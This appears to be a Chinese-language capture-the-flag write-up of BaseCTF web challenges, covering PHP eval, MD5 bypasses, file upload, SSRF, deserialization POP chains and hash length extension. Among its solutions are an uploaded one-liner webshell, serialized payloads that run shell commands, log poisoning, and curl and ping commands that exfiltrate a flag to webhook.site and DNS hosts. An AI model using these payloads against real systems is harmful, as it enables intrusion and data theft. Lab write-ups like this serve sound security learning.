week1 喵喵喵´•ﻌ•` 考点: eval()函数 :
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
system()函数
php 代码不能直接执行 shell 命令,还需要借助 system ()函数
题解: 进入题目,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );$a = $_GET ['DT' ];eval ($a );?>
md5绕过欸 考点: 弱类型比较(==): 弱类型比较,两个不同类型比较时,会自动转换成相同类型后再比较值
if(“admin”==0) //true
if(“1admin”==1)//true
if(“admin1”==1)//false
if(“0e12324”==”0e1324”)//true
**强类型比较: **需要比较值和类型
MD5 加密原理:
MD5以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理后,算法的输出由四个32位分组组成,将这四个32位分组级联 后将生成一个128位散列值。 在MD5算法中,首先需要对信息进行填充,填充方法如下:先在信息后面填充一个1,之后就是无数个0,直到使其字节长度对512求余数的结果等于448,即(n*512) + 448 ,为什么要是余数为448呢,因为剩下的512-448 等于64位 是用于表示填充前的信息长度。加上剩下的64位,即(n+1)*512,长度刚刚好是512的整数倍数。 然后就与链接变量进行循环运算,得出结果。MD5中有四个32位被称作链接变量(Chaining Variable)的整数参数,他们分别为:A=0x01234567,B=0x89abcdef,C=0xfedcba98,D=0x76543210。当设置好这四个链接变量后,就开始进入算法的四轮循环运算。具体内部怎么运算,是关于数学方面的,有兴趣的同学可以自行去了解下,这里不进行更加多的解释。 MD5 绕过:
因为 md5() 函数不能处理数组,所以在未明确规定输入类型时,可以输入数组类型,从而实现对强比较和弱比较 的绕过
提供部分数据及 md5 加密后的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030
- **强比较**
这里展示一组
1 2 p1=ten%0 D%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %EF%E4%B5h%A7y%95 C%60 %8 A%E0a%0 B%B8%3 D%D8%26 %F5%A3%13 %8 F%3 F%7 D%D4%5 Cb%81 %25 v%98 %8 CHA%05 %0 D%ED%C2%8 B%E7j%EFou%22 %01 %10 c_%AD%F9%5 E%84 %A5%C1%95 %F9K%3E7 %7 Bdd%C2dT%98 V%B1%F2%DD%B6%2 C%F2%7 B%E8%19 %12 %9 A%29 %9 D%5 D%13 Lm%FEN%85 %CE%7 E%CD%AF%5 B%5 B%10 eA%E9%B0%C4%AA%94 %EA%A2%DE%E9%A0%EBP%98 %8 A%0 A_%1 D%13 %8 E%83 %DA%C6%97 %21 %05 %82 %E7%EA%03 _%27 %C4 p2=ten%0 D%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %EF%E4%B5h%A7y%95 C%60 %8 A%E0a%0 B%B8%3 D%D8%26 %F5%A3%93 %8 F%3 F%7 D%D4%5 Cb%81 %25 v%98 %8 CHA%05 %0 D%ED%C2%8 B%E7j%EFou%22 %01 %90 c_%AD%F9%5 E%84 %A5%C1%95 %F9K%3E7 %FBdd%C2dT%98 V%B1%F2%DD%B6%2 C%F2%7 B%E8%19 %12 %9 A%29 %9 D%5 D%13 L%ED%FEN%85 %CE%7 E%CD%AF%5 B%5 B%10 eA%E9%B0%C4%AA%94 %EA%A2%DE%E9%A0%EBP%98 %0 A%0 A_%1 D%13 %8 E%83 %DA%C6%97 %21 %05 %82 %E7j%03 _%27 %C4
题解: 进入题目,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ])) { $name = $_GET ['name' ]; $name2 = $_GET ['name2' ]; $password = $_POST ['password' ]; $password2 = $_POST ['password2' ]; if ($name != $password && md5 ($name ) == md5 ($password )) { if ($name2 !== $password2 && md5 ($name2 ) === md5 ($password2 )) { echo $flag ; } else { echo "再看看啊,马上绕过嘞!" ; } } else { echo "错啦错啦" ; } } else { echo '没看到参数呐' ; } ?>
因为这题没有禁用数组,所以传入四个参数均为数组就可以
HTTP 是什么呀 考点: http 请求头:
请求头内容请看参考文章
补充:
**X-Forwarded-For: **简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP
题解: 要求如下
burp 抓包修改请求头
之后进行 base64 解码
A Dark Room 考点: 不太明白这个题,做了可点击的界面,却把 flag 直接放在源码中
题解: flag 在源码中,按下 F12 即可
upload 考点: **文件上传漏洞(**上传一个 php 文件或者将一句话木马传入可以解析 php 的地方)
编写一个 php 文件
内容是一句话木马,蚁剑连接时密码就是 shell
1 <?php eval ($_POST ['shell' ]);?>
题解:
虽然网页标签名叫“上传喜欢的照片”,但是随便上传一个文件,发现上传成功而且爆出了源码,看见没有任何过滤,直接写个一句话木马上传
上传之后,根据源码知道木马文件地址在同级目录 upload 下而且没有被重命名
之后蚁剑连接,拿到 flag
Aura 酱的礼物 考点: php 伪协议: 参考文章
题目中的 file_get_contents()可以使用 data:// 伪协议绕过
最后文件包含,可以使用 filter:// 伪协议读取
ssrf
参考文章:https://tttang.com/archive/1648/
绕过
@符,对于一个 url 的访问实际上是以 @符后为准的,比如说xxxx.com @10.10.10.10,则实际上访问的是 10.10.10.10 这个地址。 网址后加 xip.io,其原理是例如 10.10.10.10.xip.io 会被解析成 10.10.10.10。 进制转换,将 ip 转换成八进制、十进制、十六进制这种,同样也可以正常访问,例如将 10.10.10.10 转换为十进制是 168430090,在浏览器访问 http://168430090 就会去访问 10.10.10.10 这个地址。 题解: 进入题目,得如下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php highlight_file (__FILE__ );$pen = $_POST ['pen' ];if (file_get_contents ($pen )!== 'Aura' ) { die ('这是 Aura 的礼物,你不是 Aura!' ); } $challenge = $_POST ['challenge' ];if (strpos ($challenge , 'http://jasmineaura.github.io' )!== 0 ) { die ('这不是 Aura 的博客!' ); } $blog_content = file_get_contents ($challenge );if (strpos ($blog_content , '已经收到 Kengwang 的礼物啦' ) === false ) { die ('请去博客里面写下感想哦~' ); } $gift = $_POST ['gift' ];include ($gift );?>
先使用 data://伪协议
第二步要以 http://jasmineaura.github.io 开头,因为博客打不开又要再里面写内容,可以使用@ 符号将 url 地址转接到本机上.可见绕过成功了
接下来包含文件,但是不没有看到回显,猜测可能在 php 文件的注释里,利用 php://filter伪协议把注释带出来,注意要编码(要不然注释还是会被当作注释,带不出来)
最后进行 base64 解码
week2 ez_ser 考点: 反序列化和 php 魔术方法
魔术方法:
1.__construct,__destruct
__constuct构建对象的时被调用;
__destruct明确销毁对象或脚本结束时被调用;
2.__get,__set
__set当给不可访问或不存在属性赋值时被调用
__get读取不可访问或不存在属性时被调用
3.__isset,__unset
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
__unset对不可访问或不存在的属性进行unset时被调用
4.__call,__callStatic
__call调用不可访问或不存在的方法时被调用
__callStatic调用不可访问或不存在的静态方法时被调用
5.__sleep,__wakeup
__sleep当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__wakeup当使用unserialize时被调用,可用于做些对象的初始化操作
6.__clone
进行对象clone时被调用,用来调整对象的克隆行为
7.__toString
当一个类被转换成字符串时被调用
8.__invoke
当以函数方式调用对象时被调用
9.__set_state
当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
10.__debuginfo
当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
pop 链构造的关键就是充分利用各种魔术方法的特性,实现一个接一个的自动调用,最后获取 flag
题解: 进入题目,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <?php highlight_file (__FILE__ );error_reporting (0 );class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } } class web { public $kw ; public $dt ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } public function __destruct ( ) { echo "ALL Done!" ; } } class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk!= "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } } class Misc { public $nothing ; public $flag ; public function getflag ( ) { eval ("system('cat /flag');" ); } } class Crypto { public function __wakeup ( ) { echo "happy happy happy!" ; } public function getflag ( ) { echo "you are over!" ; } } $ser = $_GET ['ser' ];unserialize ($ser );?>
pop 链构造思路
unserialize()->web 类的 wakeup()[ 函数内部的 . 拼接字符串]->re 类的 tostring() [函数内部尝试访问一个未定义的属性,如果有 get() 函数,则会自动调用]->pwn 类的 get() [ 函数内部调用了 getflag()函数 ]->Misc 类的 getflag()函数->得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php highlight_file (__FILE__ );error_reporting (0 );class re { public $chu0 ; public function __toString ( ) { if (!isset ($this ->chu0)){ return "I can not believes!" ; } $this ->chu0->$nononono ; } } class web { public $kw ; public $dt ; public function __wakeup ( ) { echo "lalalla" .$this ->kw; } public function __destruct ( ) { echo "ALL Done!" ; } } class pwn { public $dusk ; public $over ; public function __get ($name ) { if ($this ->dusk != "gods" ){ echo "什么,你竟敢不认可?" ; } $this ->over->getflag (); } } class Misc { public $nothing ; public $flag ; public function getflag ( ) { eval ("system('cat /flag');" ); } } $a = new re ();$b = new web ();$c = new pwn ();$d = new misc ();$c ->over = $d ;$a ->chu0 = $c ;$b ->kw = $a ;echo "ser=" .serialize ($b );
结果
1 ser=O:3 :"web" :2 :{s:2 :"kw" ;O:2 :"re" :1 :{s:4 :"chu0" ;O:3 :"pwn" :2 :{s:4 :"dusk" ;N;s:4 :"over" ;O:4 :"Misc" :2 :{s:7 :"nothing" ;N;s:4 :"flag" ;N;}}}s:2 :"dt" ;N;}
$_GET 传参
一起吃豆豆 考点: 玩游戏题,一般可以读 js 代码获取灵感
题解: 这是一个 js 写的游戏
进入之后就是玩游戏,应该游戏通关之后就会给答案了
这里找到游戏的 js 代码,虽然 F12 和 ctrl+shift+I 都没用,但是还可以手动点更多工具里面的 web 开发者工具
找到游戏结束的代码,丢给 AI 加注释
1 2 3 4 5 6 7 8 9 10 11 context.fillText ( _LIFE? atob ("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==" ) : 'GAME OVER' , this .x , this .y );
可以直接进行 base64 解码
也可以在控制台执行这个函数,得到 flag
你听不到我的声音 考点: shell_exec()函数
通过 shell 执行命令并将完整的输出以字符串的方式返回(有返回值没有回显**)**
linux 重定向符号: 参考文章
command > file ( 将输出重定向到 file )
题解: 1 2 3 <?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
代码很简单,但是 shell_exec()函数不会直接回显,
方法一: 可以用重定向
浏览器打开
找到文件,之后 cat /flag
再次打开 1.txt,得到源码
**方法二:**使用 curl 外带
进入 webhook 网站
会得到一个自己的网址
按照这样的格式,url 编码之后,post 传参
1 curl https://webhook.site/b69846b7-ea9a-42f6-8e7a-04f80fdf35eb/`cat /flag | base64`
回到网站,得到请求了.网址后边的东西解码一下
得到 flag
方法三:Dnslog 外带
在刚才的网站拿到 DNS name
之后按如下格式使用 ping 命令外带,url 编码之后传参
1 ping `cat /flag | base64`.xxxxxxx.dnshook.site
RCEisamazingwithspace 考点: 空格绕过 : 参考文章
$IFS表示分隔符,指定了IFS代表的符号后,该符号会转为空格显示输出
${IFS},$IFS 和$IFS$9 都表示空格
题解: 进入题目,得到源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ ); $cmd = $_POST ['cmd' ];if (preg_match ('/\s/' , $cmd )) { echo 'Space not allowed in command' ; exit ; } system ($cmd );?> $_POST 传入 cmd=cat${IFS}/flag
法一: 使用 $IFS 绕过
法二:使用 < 绕过
所以你说你懂 MD5? 考点: 哈希长度拓展攻击: 参考文章
题解: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )). bin2hex (random_bytes (16 )). bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ]?? 'user' ;if (substr ($name , -5 )!== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name )!== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );?>
对于第一个 if 语句,因为没有禁用数组,直接传入数组绕过
第二个 if 语句,数组被禁用了,而且是弱比较,老老实实传字符串吧
第三个 if 语句,数组被禁用了,还是强碰撞,还是传字符串吧
贴一下目前的输入
1 apple[]=1 &banana[]=2 &appple=s1502113478a&bananana=s1885207154a&apppple=ten%0 D%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %EF%E4%B5h%A7y%95 C%60 %8 A%E0a%0 B%B8%3 D%D8%26 %F5%A3%13 %8 F%3 F%7 D%D4%5 Cb%81 %25 v%98 %8 CHA%05 %0 D%ED%C2%8 B%E7j%EFou%22 %01 %10 c_%AD%F9%5 E%84 %A5%C1%95 %F9K%3E7 %7 Bdd%C2dT%98 V%B1%F2%DD%B6%2 C%F2%7 B%E8%19 %12 %9 A%29 %9 D%5 D%13 Lm%FEN%85 %CE%7 E%CD%AF%5 B%5 B%10 eA%E9%B0%C4%AA%94 %EA%A2%DE%E9%A0%EBP%98 %8 A%0 A_%1 D%13 %8 E%83 %DA%C6%97 %21 %05 %82 %E7%EA%03 _%27 %C4&banananana=ten%0 D%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %EF%E4%B5h%A7y%95 C%60 %8 A%E0a%0 B%B8%3 D%D8%26 %F5%A3%93 %8 F%3 F%7 D%D4%5 Cb%81 %25 v%98 %8 CHA%05 %0 D%ED%C2%8 B%E7j%EFou%22 %01 %90 c_%AD%F9%5 E%84 %A5%C1%95 %F9K%3E7 %FBdd%C2dT%98 V%B1%F2%DD%B6%2 C%F2%7 B%E8%19 %12 %9 A%29 %9 D%5 D%13 L%ED%FEN%85 %CE%7 E%CD%AF%5 B%5 B%10 eA%E9%B0%C4%AA%94 %EA%A2%DE%E9%A0%EBP%98 %0 A%0 A_%1 D%13 %8 E%83 %DA%C6%97 %21 %05 %82 %E7j%03 _%27 %C4
第四步长度拓展攻击:参考文章
贴个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from struct import pack, unpackfrom math import floor, sin """ MD5 Extension Attack ==================== @refs https://github.com/shellfeel/hash-ext-attack """ class MD5 : def __init__ (self ): self .A, self .B, self .C, self .D = \ (0x67452301 , 0xefcdab89 , 0x98badcfe , 0x10325476 ) self .r: list [int ] = \ [7 , 12 , 17 , 22 ] * 4 + [5 , 9 , 14 , 20 ] * 4 + \ [4 , 11 , 16 , 23 ] * 4 + [6 , 10 , 15 , 21 ] * 4 self .k: list [int ] = \ [floor(abs (sin(i + 1 )) * pow (2 , 32 )) for i in range (64 )] def _lrot (self, x: int , n: int ) -> int : return (x << n) | (x >> 32 - n) def update (self, chunk: bytes ) -> None : w = list (unpack('<' +'I' *16 , chunk)) a, b, c, d = self .A, self .B, self .C, self .D for i in range (64 ): if i < 16 : f = (b & c) | ((~b) & d) flag = i elif i < 32 : f = (b & d) | (c & (~d)) flag = (5 * i + 1 ) % 16 elif i < 48 : f = (b ^ c ^ d) flag = (3 * i + 5 ) % 16 else : f = c ^ (b | (~d)) flag = (7 * i) % 16 tmp = b + \ self ._lrot((a + f + self .k[i] + w[flag]) & 0xffffffff , self .r[i]) a, b, c, d = d, tmp & 0xffffffff , b, c self .A = (self .A + a) & 0xffffffff self .B = (self .B + b) & 0xffffffff self .C = (self .C + c) & 0xffffffff self .D = (self .D + d) & 0xffffffff def extend (self, msg: bytes ) -> None : assert len (msg) % 64 == 0 for i in range (0 , len (msg), 64 ): self .update(msg[i:i + 64 ]) def padding (self, msg: bytes ) -> bytes : length = pack('<Q' , len (msg) * 8 ) msg += b'\x80' msg += b'\x00' * ((56 - len (msg)) % 64 ) msg += length return msg def digest (self ) -> bytes : return pack('<IIII' , self .A, self .B, self .C, self .D) def verify_md5 (test_string: bytes ) -> None : from hashlib import md5 as md5_hashlib def md5_manual (msg: bytes ) -> bytes : md5 = MD5() md5.extend(md5.padding(msg)) return md5.digest() manual_result = md5_manual(test_string).hex () hashlib_result = md5_hashlib(test_string).hexdigest() assert manual_result == hashlib_result, "Test failed!" def attack (message_len: int , known_hash: str , append_str: bytes ) -> tuple : md5 = MD5() previous_text = md5.padding(b"*" * message_len) current_text = previous_text + append_str md5.A, md5.B, md5.C, md5.D = unpack("<IIII" , bytes .fromhex(known_hash)) md5.extend(md5.padding(current_text)[len (previous_text):]) return current_text[message_len:], md5.digest().hex () if __name__ == '__main__' : message_len = int (input ("[>] Input known text length: " )) known_hash = input ("[>] Input known hash: " ).strip() append_text = input ("[>] Input append text: " ).strip().encode() print ("[*] Attacking..." ) extend_str, final_hash = attack(message_len, known_hash, append_text) from urllib.parse import quote from base64 import b64encode print ("[+] Extend text:" , extend_str) print ("[+] Extend text (URL encoded):" , quote(extend_str)) print ("[+] Extend text (Base64):" , b64encode(extend_str).decode()) print ("[+] Final hash:" , final_hash)
按如下格式输入脚本
将 url 后的内容贴到 name 参数里,将 hash 值贴到 md5 里就可以了
数学大师 考点: python 的 requests 库: 参考文章 ** **
正则表达式: 参考文章
这里写一下 match 和 search 的区别
使用指定正则去待操作字符串中寻找可以匹配的子串, 返回匹配上的第一个字串,并且不再继续找,需要注意的是 match 函数是从字符串开始处开始查找的,如果开始处不匹配,则不再继续寻找,返回值为 一个 SRE_Match
函数类似于 match,不同之处在于不限制正则表达式的开始匹配位置
题解: 使用 python 脚本运算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport reurl = 'http://gz.imxbt.cn:20851/' s = requests.Session() value = 0 while True : r = s.post(url, {'answer' :value}) //猜测flag没有被编码,直接用BaseCTF匹配 if 'BaseCTF' in r.text: print (r.text) break //使用正则表达式匹配数学公式,并利用括号分组 expression = re.search(r'(\d+)(.)(\d+)' ,r.text) //group(2 )就是匹配得到的运算符 if expression.group(2 ) == '+' : value = int (expression.group(1 )) + int (expression.group(3 )) if expression.group(2 ) == '-' : value = int (expression.group(1 )) - int (expression.group(3 )) if expression.group(2 ) == '×' : value = int (expression.group(1 )) * int (expression.group(3 )) if expression.group(2 ) == '÷' : value = int (expression.group(1 )) / int (expression.group(3 ))
补充:
像这种算术题,如果乘和除用的是’ * ‘ 和 ‘ / ‘ 那么我们可以直接匹配整个句子(不分组)
再利用 python 的 eval()函数,直接执行这个句子得到结果。
结果
Really EZ POP 考点: pop 链构造
php 私有属性修改内容
在类内规定新创建一个 public 方法来更改私有属性或者使用 __construct() 方法在创建对象时,直接修改私有属性
通过使用 PHP 的反射机制访问和修改类的私有属性:
题解: 进入题目,得源码加注释后如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file (__FILE__ );class Sink { private $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } if ($_POST ['nature' ]) { $nature = unserialize ($_POST ['nature' ]); }
大体思路:
反序列化->Nature 类的 __destruct() 函数 [ 访问未定义的变量 ]->Sea 类的 __get()函数 [ 对象被当作函数调用 ] -> Shark 类的 __invoke()函数 [ 字符串拼接 ]->Sink 类的 __toString() 函数 [ 调用 eval()函数 ]
方法一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php class Sink { private $cmd = "system('ls /');" ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } public function setword ($a ) { $this ->word = $a ; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } $nature = new Nature ();$sea = new Sea ();$shark = new Shark ();$sink = new Sink ();$sea ->animal = $shark ;$nature ->sea = $sea ;$shark ->setword ($sink );echo 'nature=' .urlencode (serialize ($nature ));
方法二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php class Sink { private $cmd = 'system("tac /flag");' ; public function __toString() // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等) { eval ($this->cmd); // 1 system("ls" ); } } class Shark { private $word; public function __invoke() // 对象被当做函数进行调用时触发(找有括号的类似$a()这种) { echo 'Shark says: ' . $this->word; // 2 Sink } } class Sea { public $animal; public function __get($name) // 调用类中不存在变量时触发(找有连续箭头的 this->a->b) { $sea_ani = $this->animal; echo 'In a deep deep sea, there is a ' . $sea_ani(); // 3 Shark } } class Nature { public $sea; public function __destruct() // 对象被销毁时自动触发,也就是我们的链头了 { echo $this->sea->see; // 4 Sea } } // 按照 1 2 3 4 的顺序编写 pop $s1 = new Sink(); $s2 = new Shark(); // 创建一个反射对象 $reflection = new ReflectionClass($s2); // 通过反射获取指定名称为'word' 的属性对象 $property = $reflection->getProperty('word' ); // 设置该属性为可访问状态,这一步通常在属性是私有或受保护的情况下是必要的 // 这样后续才能对其进行取值或赋值等操作 $property ->setAccessible(true); // 将变量 $s1 的值设置给对象 $s2 的'word' 属性 // 这里假设 $s2 是拥有'word' 属性的对象实例,$s1 是要赋给该属性的值 $property ->setValue($s2, $s1); $s3 = new Sea(); $s3->animal = $s2; $n = new Nature(); $n->sea = $s3; echo 'nature=' .urlencode(serialize($n)); ?>
题目中提示了 hackbar 没有回显,这里使用 burp 传参
得到列表,接下来 cat 内容。结束
week3 滤个不停 考点: nginx 访问日志写入 shell
首先了解什么是 nginx,参考文章
nginx 和 apache 都是 web 服务器,而这两个服务器在运行时服务器下肯定有预先设置好的各种日志文件,进而可以利用这些日志文件写入 shell ,从而获取 flag
对于 nginx 而言,
/var/log/nginx/error.log: error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期的处理流程相关的信息。 /var/log/nginx/access.log: access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。 对于 apach 而言,
/var/log/apache/access.log :与 nginx 的 access.log 类似。 总之,可以利用这些日志文件,在里面写入 shell,从而获取 flag。
题解: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php highlight_file (__FILE__ );error_reporting (0 );$incompetent = $_POST ['incompetent' ];$Datch = $_POST ['Datch' ];if ($incompetent !== 'HelloWorld' ) { die ('写出程序员的第一行问候吧!' ); } $required_chars = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ];$is_valid = true ;foreach ($required_chars as $char ) { if (strpos ($Datch , $char ) === false ) { $is_valid = false ; break ; } } if ($is_valid ) { $invalid_patterns = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://' , 'data://' , 'gopher://' ]; foreach ($invalid_patterns as $pattern ) { if (stripos ($Datch , $pattern )!== false ) { die ('此路不通换条路试试?' ); } } include ($Datch ); } else { die ('文件名不合规 请重试' ); } ?>
第一个参数不再多说
第二个参数,进行了两次认证,一次是 strpos(** **查找字符串首次出现的位置,不区分大小写),一次是 stripos(查找字符串首次出现的位置,区分大小写)
拓展:
strpos()函数可以用数组绕过和%0a(换行)绕过。返回值为 false,刚好可以绕过第一个认证
但是这里有两个认证,这种方法不行。
看见请求头 sever 参数
使用日志包含
之后发现回显都是 ua 头里的内容,在 ua 头里加入
得到 flag
玩原神玩的 考点: 1.异或运算符(^)
0 ^ 0 = 0
0 ^ 1 = 1
1 ^ 0 = 1
1 ^ 1 = 0
正常的整数不止有 0 和 1 怎么办,那就是对二进制后的各位进行异或运算
1 2 3 $a = 3 ; $b = 5 ; echo $a ^ $b ;
结果为 6 //二进制为 110(正是各位二进制之后的结果)
应用:
使用异或运算可以用来交换两个参数的值(不需要使用中间变量),以下以 php 语言演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function swap ($a , $b ) { $a = $a ^ $b ; $b = $a ^ $b ; $a = $a ^ $b ; echo 'a=' .$a .PHP_EOL.'b=' .$b ; } swap (3 ,5 ); a=5 b=3
总结:
一数和二数进行进行异或运算得到的值。一数与整个值进行异或运算将得到二数的值,二数与这个值进行异或运算将得到一数的值。
2.ord()函数
获取该字符的 ascii 值
题解: 进入题目,发现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); } function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); } function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ])!= 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ; $ii < sizeof ($array ); $ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); }
总结:
